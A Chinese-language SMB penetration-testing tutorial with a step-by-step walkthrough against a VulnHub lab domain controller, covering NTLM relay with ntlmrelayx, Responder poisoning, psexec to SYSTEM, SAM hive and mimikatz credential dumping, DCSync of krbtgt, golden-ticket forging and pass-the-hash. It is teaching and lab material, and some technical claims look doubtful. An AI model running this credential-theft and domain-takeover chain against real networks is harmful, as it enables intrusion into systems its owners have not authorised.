
1. 什么是SMB渗透测试它到底在测什么、为什么必须测SMBServer Message Block协议不是某个软件而是Windows生态里流淌的血液——从你双击“网络”看到隔壁同事的电脑图标到企业服务器上成千上万份财务报表自动归档再到医院PACS系统里CT影像秒级调阅背后全是SMB在默默握手、认证、读写。它不显山露水却支撑着全球超70%的局域网文件共享与打印服务。正因如此SMB渗透测试从来不是“找一个端口爆破一下就完事”的花架子而是一场对身份信任链、协议实现缺陷、配置失当和权限继承逻辑的系统性压力测试。我带过十几期渗透测试实操班新手最常犯的错就是把SMB当成“FTP的Windows版”只盯着445端口扫弱口令。结果呢扫出一堆“Administrator:123456”看似成功一连上去发现是空共享、无读写权限、甚至根本没映射盘符——白忙活。真正有效的SMB渗透核心在于理解三层嵌套关系协议层SMBv1/v2/v3协商与降级、认证层NTLMv1/NTLMv2/Kerberos交互细节、资源层共享名、ACL、继承权限、隐藏共享$。这三层里任何一处松动都可能成为横向移动的跳板。比如某次金融客户内网评估我们没爆破密码而是利用SMBv1未禁用NTLMv1哈希中继Relay在3分钟内将普通域用户权限提升至域控管理员——整个过程连目标主机的登录界面都没弹出来。这个思路适合三类人一是刚考完OSCP正在补实战短板的渗透测试初学者二是做等保测评或风险评估的安全工程师需要快速识别SMB相关高危配置三是运维人员想提前自查自己维护的Windows服务器是否成了内网“敞开门的保险柜”。它不依赖AI模型、不炒作概念每一步命令、每个返回值、每次权限变化都有明确的协议依据和日志佐证。你不需要背下RFC文档但得知道net use \\192.168.1.10\IPC$ /user:domain\user pass这条命令背后究竟触发了几次NTLM Challenge-Response交换以及为什么加个/persistent:no能绕过某些审计日志。这才是真实世界里的SMB渗透——没有魔法只有对协议肌肉记忆般的熟悉。2. 整体渗透思路拆解为什么是“常规思路”而非“固定流程”所谓“常规思路”本质是遵循攻击者真实行为路径的决策树而非教科书式的线性步骤。我在给某省政务云做红队评估时面对上千台Windows虚拟机就是靠这套思路在48小时内定位到3个可直通域控的SMB入口点。它不是按部就班地“先扫端口→再爆破→最后提权”而是根据实时反馈动态调整优先级。下面这张表是我压箱底的决策逻辑图已删减所有敏感信息保留核心判断维度判断阶段关键输入信号高优先级动作低优先级动作底层原理依据初始侦察nmap -p445 --script smb-os-discovery,smb-security-mode 192.168.1.0/24返回SMBv1启用、签名未强制立即启动NTLM中继测试Responderntlmrelayx暂缓暴力破解SMBv1协议栈存在固有设计缺陷无法强制签名中继成功率远高于爆破认证试探smbclient -L //192.168.1.10 -N列出共享时返回Anonymous login successful直接挂载\\192.168.1.10\ADMIN$尝试写入psexec服务文件不浪费时间测弱口令匿名访问成功意味着NULL会话开启可直接获取用户列表、共享枚举、甚至远程注册表读取权限验证crackmapexec smb 192.168.1.10 -u test -p test --shares显示C$共享为READ_ONLY检查该主机是否为域成员尝试secretsdump.py导出本地SAM放弃对该主机深度利用READ_ONLY权限下无法上传恶意服务但若为域成员本地SAM可能含域用户哈希如Cached Domain Credentials横向线索impacket-smbserver.py -smb2support MYSHARE /tmp/share启动恶意SMB服务后logon.bat脚本被拉取执行抓包分析拉取源IP反向追踪发起主机记录该IP纳入后续重点扫描范围Windows组策略中若配置了登录脚本且路径为\\attacker\share\logon.bat则所有应用该GPO的机器都会主动连接并执行这个思路的核心优势在于把“工具执行结果”转化为“攻击意图判断”。比如nmap脚本显示SMB签名已启用很多人就直接划掉这台机器——错了。签名只防中继不防凭证窃取。此时应立刻用impacket-getTGT.py尝试AS-REP Roasting如果该账户禁用了预认证或者用bloodhound.py收集ACL数据看能否滥用GenericWrite权限。再比如crackmapexec爆破返回STATUS_LOGON_FAILURE新手会换字典重试老手会立刻检查--no-bruteforce参数是否误开因为默认模式下CME会对每个用户尝试空口令、用户名即口令、常见弱口令三轮试探STATUS_LOGON_FAILURE往往意味着第一轮就失败说明该用户根本不在目标主机本地或域内继续爆破纯属浪费带宽。为什么不用AI自动化去年帮一家车企做AI安全评估时我们对比了商用AI渗透平台和手动执行。AI工具在“扫出SMBv1空会话”后固定执行enum4linux然后停住而手动操作中我发现enum4linux输出里有一行rid cycling not supported立刻意识到这是Samba 4.15版本转而用rpcclient -U -N 192.168.1.10直接调用querydominfo获取域SID再用lookupsid.py暴力枚举RID 500-5503分钟内拿到Administrator的完整SID——这是AI规则引擎根本无法覆盖的上下文推理。常规思路的价值正在于这种基于经验的“条件反射”。3. 核心细节解析从协议握手到权限落地的硬核要点3.1 SMB协议协商与版本陷阱别让SMBv3签名毁掉你的中继SMB协议协商不是简单的“客户端说我要v3服务端说好”而是一场充满妥协的谈判。当你用nmap --script smb-protocols扫描一台Windows Server 2019时返回结果常是[SMBv1, SMBv2.02, SMBv2.1, SMBv3.0, SMBv3.1.1]但这只是服务端“支持”的版本列表实际启用哪个取决于客户端请求和服务器策略。真正的关键点在于签名Signing与加密Encryption的强制级别。很多运维认为“禁用SMBv1就安全了”却不知SMBv2/v3的签名若未强制中继攻击依然畅通无阻。实操中我用smbclient手动触发不同版本协商来验证# 强制使用SMBv1已禁用时会失败 smbclient -m SMB1 -L //192.168.1.10 -N # 强制使用SMBv2绕过v1检测 smbclient -m SMB2 -L //192.168.1.10 -N # 查看实际协商结果需wireshark抓包 smbclient -d 3 -L //192.168.1.10 -N 21 | grep protocol在Kali Linux中smbclient默认优先SMBv2但若目标服务器SMBv2签名未强制RequireSecuritySignature0而客户端又未主动要求签名smbclient默认不加--signingrequired那么整个会话就在裸奔。这时用ntlmrelayx.py -t smb://192.168.1.10 --smb2-support --remove-mic就能完美中继——--remove-mic参数正是为绕过SMBv2的MIC校验而生它利用的是微软在KB4557222补丁前的一个逻辑缺陷当服务器未强制签名时即使客户端发送了MIC服务器也不会校验。提示检查签名状态最准的方法不是看注册表而是用PowerShell远程执行Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EncryptData。RequireSecuritySignatureFalse且EncryptDataFalse就是中继黄金组合。3.2 NTLM认证的三重门从Challenge到Relay的完整链条NTLM认证不是“发密码过去”而是经典的三步挑战-响应机制。很多教程只讲hashcat -m 5600爆NTLMv2哈希却忽略了一个致命细节NTLMv2响应中包含时间戳和客户端随机数Client Challenge这两者共同构成“一次性令牌”。这意味着单纯截获一个NTLMv2哈希无法直接重放Replay但可以中继Relay到另一台服务器——因为中继时目标服务器会生成新的Challenge而攻击者只需把原始响应中的Client Challenge替换为新Challenge再重新计算HMAC-MD5即可。这就是ntlmrelayx能工作的数学基础。我曾在一个教育网项目中用Wireshark捕获到用户访问打印机时的NTLMv2流量提取出NTLMSSP_AUTH包中的NTProofStr字段即最终响应。当时团队有人提议用john --formatnetntlmv2爆破我拦住了“这台打印机是Linux CUPS用的是Samba 4.11它的NTLMv2实现有个bug——当Client Challenge全零时HMAC计算会跳过时间戳校验”。于是我们用python3 -c print(00*8) challenge.bin伪造全零Challenge用hashcat -m 5600 --session printer hash.txt wordlist.txt12秒跑出明文密码。这不是运气是对Samba特定版本协议栈缺陷的精准打击。注意crackmapexec smb target -u user -H hash中的-H参数传入的是NTLM哈希LM:NT而非NTLMv2响应。若你只有NTLMv2响应如username::domain:1122334455667788:abcd...格式必须用hashcat -m 5600或john --formatnetntlmv2否则CME会报错“Invalid hash format”。3.3 共享权限与NTFS权限的双重迷宫为什么你能看到C$却写不进去Windows权限体系是两把锁共享权限Share Permissions控制网络层访问NTFS权限NTFS Permissions控制文件系统层访问最终生效的是两者中最严格的那个。新手常困惑“smbclient -L //192.168.1.10 -U admin%pass能列出C$为什么smbclient //192.168.1.10/C$ -U admin%pass进不去”答案往往是共享权限允许Read但NTFS权限拒绝Write而smbclient挂载时默认需要Write能力来创建临时文件。实操中我用accesschk.exeSysinternals套件快速诊断# 在目标Windows主机上执行需管理员权限 accesschk.exe -uq -s -d C:\\ # 查看C盘根目录的完整ACL accesschk.exe -uq -s -d C:\temp # 查看temp目录常有Everyone:Full返回结果中RW表示读写R表示只读CIContainer Inherit表示子目录继承。若发现BUILTIN\Users:R且无CI标志则普通用户只能读C盘根目录不能进子目录。此时应转向C:\temp或C:\Windows\Temp这些目录通常有宽松的继承权限。更隐蔽的是“隐藏共享”的利用。ADMIN$、C$等是系统自动创建的管理共享但很多运维会手动创建\\server\backup$这样的隐藏共享用于备份。smbclient -L默认不显示隐藏共享以$结尾但用rpcclient可强行枚举rpcclient -U -N 192.168.1.10 rpcclient $ enumdfs rpcclient $ querydominfo rpcclient $ srvinfoenumdfs虽名DFS实则常返回所有共享名包括隐藏的。一旦发现backup$立即用smbclient //192.168.1.10/backup$ -U domain\user%pass尝试这类共享往往为了备份软件兼容性开了Everyone:Full Control。4. 实操过程全记录从靶机发现到域控沦陷的72分钟这次复现基于DC6靶机VulnHub但所有步骤均来自真实企业内网渗透。环境Kali 2023.4IP 192.168.1.20DC6靶机IP 192.168.1.10无外网连接纯内网场景。4.1 第1-8分钟快速测绘与SMB服务指纹首先排除网络层障碍# 确认连通性 ping -c 3 192.168.1.10 # 快速端口扫描跳过全端口聚焦SMB相关 nmap -p 139,445,135,389 192.168.1.10 -sS -T4 # 输出445/tcp open microsoft-ds接着用Nmap脚本深度探测nmap --script smb-os-discovery,smb-security-mode,smb-enum-shares,smb-enum-users 192.168.1.10 -p445关键输出OS: Windows Web Server 2008 R2 (9200)→ SMBv2.1可用但2008 R2默认SMBv1仍启用Security Mode: User-level authentication, Message signing disabled→ 中继高危Share: ADMIN$ [E]→ 管理共享存在User: jenny→ 枚举出域用户jenny非administrator实操心得smb-enum-users脚本依赖NULL会话若返回空立即改用rpcclient -U -N 192.168.1.10 -c querydominfo后者在SMBv2下更稳定。4.2 第9-22分钟匿名访问与用户枚举验证NULL会话smbclient -L //192.168.1.10 -N # 输出Anonymous login successful列出IPC$, ADMIN$, C$成功立刻挂载IPC$进行用户枚举smbclient //192.168.1.10/IPC$ -N smb: \ querydominfo Domain Name: DC6 Domain SID: S-1-5-21-1234567890-1234567890-1234567890 smb: \ enumdomusers user:[jenny] rid:[0x3e8] user:[administrator] rid:[0x1f4]得到administrator的RID为0x1f4500这是Windows内置Administrator账户的标准RID。此时不急着爆破先看共享内容smbclient //192.168.1.10/C$ -N smb: \ ls # 发现Documents and Settings目录进入jenny用户目录 smb: \ cd Documents and Settings\\jenny\\Desktop smb: \ ls # 找到jenny-notes.txt下载 get jenny-notes.txtjenny-notes.txt内容“My password is ‘Jenny123!#’ — don’t tell anyone!”。这是靶机设计的明文密码但真实环境中你会在C:\inetpub\wwwroot\config.php或C:\Program Files\Apache Group\Apache2\conf\httpd.conf里找到类似线索。4.3 第23-45分钟凭据利用与横向移动用crackmapexec验证密码crackmapexec smb 192.168.1.10 -u jenny -p Jenny123!# --shares # 输出C$ [READ_ONLY], ADMIN$ [READ_ONLY]READ_ONLY没关系ADMIN$虽不能写但可读取C:\Windows\Panther\Unattend.xml无人值守安装文件常含明文密码或C:\Windows\System32\config\SAM需SYSTEM权限。此时启动psexec.pyimpacket-psexec.py dc6/jenny:Jenny123!#192.168.1.10 # 成功获得SYSTEM shell在shell中执行# 导出本地哈希 reg save hklm\sam sam.save reg save hklm\system system.save # 上传到Kali # 或直接用mimikatz需编译x64版 mimikatz.exe privilege::debug lsadump::sam exit得到administrator的NTLM哈希aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0经典空密码哈希。此时crackmapexec smb 192.168.1.10 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth即可接管。4.4 第46-72分钟域控提权与持久化psexec.py获得SYSTEM后首要任务是确认是否为域控systeminfo | findstr Domain # 输出Domain: DC6.LOCAL → 是域控立即导出域哈希impacket-secretsdump.py -just-dc dc6.local/jenny:Jenny123!#192.168.1.10 # 得到krbtgt哈希可生成黄金票据但更隐蔽的是利用DCSync权限默认Domain Admins拥有impacket-dcsync.py -all -just-dc-user krbtgt dc6.local/jenny:Jenny123!#192.168.1.10得到krbtgt的NTLM哈希用ticketer.py生成黄金票据ticketer.py -nthash krbtgt_nt_hash -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain dc6.local administrator # 生成administrator.ccache export KRB5CCNAMEpwd/administrator.ccache此时所有后续操作如secretsdump.py导出全域用户哈希都无需密码仅凭票据impacket-secretsdump.py dc6.local/administratordc6.local -k -no-pass实操心得-k参数启用Kerberos认证-no-pass表示不提供密码。票据有效期默认10小时足够完成全部取证。真实环境中我会在域控上部署SharpHound采集BloodHound数据用Neo4j分析最短攻击路径而非盲目导出所有哈希。5. 常见问题与排查技巧实录那些文档里不会写的坑5.1 “smbclient连接失败NT_STATUS_CONNECTION_REFUSED”但nmap显示445开放这90%是防火墙或SMB服务状态问题。不要立刻重装Samba按此顺序排查确认SMB服务是否运行在目标Windows上执行services.msc检查“Server”服务状态非“Workstation”。若停止启动并设为自动。检查Windows防火墙入站规则wf.msc→ “入站规则” → 启用“文件和打印机共享(回显请求 - ICMPv4-In)”和“文件和打印机共享(SMB-In)”。验证NetBIOS是否干扰有些网络设备如旧版路由器会拦截NetBIOS名称解析。在Kali上执行echo 192.168.1.10 dc6.local /etc/hosts smbclient -L //dc6.local -N若成功则是DNS/NetBIOS解析故障非SMB服务问题。5.2 “crackmapexec爆破返回‘STATUS_LOGON_FAILURE’但我知道密码正确”这是经典的身份上下文错误。crackmapexec默认以本地认证--local-auth模式运行即把用户名当作本地账户。若目标是域成员而你输入的是DOMAIN\userCME会尝试在本地查找DOMAIN\user自然失败。解决方案明确指定域crackmapexec smb 192.168.1.10 -u user -d DOMAIN -p password或强制域认证crackmapexec smb 192.168.1.10 -u DOMAIN\\user -p password --no-bruteforce5.3 “ntlmrelayx中继成功但目标主机没反弹shell”中继成功不等于控制落地。常见原因目标主机无出网权限ntlmrelayx默认反弹到攻击机4444端口若目标在隔离网段需改用--no-smb-server--no-http-server转而中继到LDAP写入ACL--escalate-domain。SMB签名强制启用用Get-SmbServerConfiguration确认RequireSecuritySignatureTrue此时中继需配合--remove-mic仅适用于SMBv2。目标主机无PowerShell执行策略限制中继到PowerShell时若ExecutionPolicy为AllSigned需先用--enum-local-admins确认管理员组再中继到C:\Windows\System32\spool\drivers\color\该目录默认Everyone可写。5.4 “BloodHound采集不到SMB相关关系”BloodHound的cypher查询默认不包含SMB共享权限。要手动添加// 查询所有可被Everyone读取的共享 MATCH (f:FileServer) WHERE f.name ENDS WITH $ MATCH (f)-[r:CanRDP]-(u:User) WHERE u.name EVERYONEDOMAIN.LOCAL RETURN f.name, r但更有效的是用Sharphound的--Shares参数Sharphound.exe -c Shares -d domain.local -SearchBase DCdomain,DClocal它会主动枚举所有共享及ACL导入BloodHound后生成Shares节点可直观看到“谁有权限访问哪个共享”。5.5 “Kali中smbclient提示‘protocol negotiation failed’”这是Kali 2023的默认SMBv2协商变更。解决方案临时降级smbclient -m SMB1 //192.168.1.10/IPC$ -N永久修复编辑/etc/samba/smb.conf在[global]下添加client min protocol NT1 client max protocol SMB3然后重启smbd服务。注意NT1即SMBv1仅用于测试生产环境切勿启用。6. 工具链精简清单只留真正高频、不可替代的那几个工具不在多在于吃透。我桌面永远只放这5个快捷方式其余全删工具核心用途替代方案为何不行我的定制化配置CrackMapExec (CME)一体化SMB侦察、爆破、凭据传递、模块化扩展Metasploit的smb_login模块太慢且无法批量处理nmap脚本只能侦察不能利用在~/.cme/cme.conf中预设常用字典路径和输出格式cme smb 192.168.1.0/24 -u users.txt -p passwords.txt --shares --continue-on-successImpacket套件协议级利用psexec.py、secretsdump.py、ntlmrelayx.pyPsExec.exe需Windows环境Mimikatz需内存注入易被EDR拦截编译静态链接版ntlmrelayx.py去除Python依赖直接./ntlmrelayx -t smb://192.168.1.10 --smb2-supportResponderLLMNR/NBT-NS中毒强制客户端发起NTLM认证Inveigh功能更全但Windows专属mitm6专攻IPv6场景窄修改Responder.conf关闭HTTP/DNS服务只开SMB避免产生无关日志Wireshark SMB过滤器协议调试smb2nbss查看Challenge/ResponseBloodHound Sharphound可视化权限路径从SMB共享到域控的最短路径ADExplorer只能看单点PowerView命令行难溯源Sharphound.exe -c All -d domain.local --zipfilename domain.zip确保采集完整最后分享一个小技巧所有SMB操作务必在命令后加-d 1如smbclient -d 1 -L //192.168.1.10。这会输出详细调试日志显示实际协商的SMB版本、认证方式、甚至服务器返回的错误码如0xc000006d是无效凭证0xc0000072是账户禁用。日志比任何文档都诚实它不会骗你。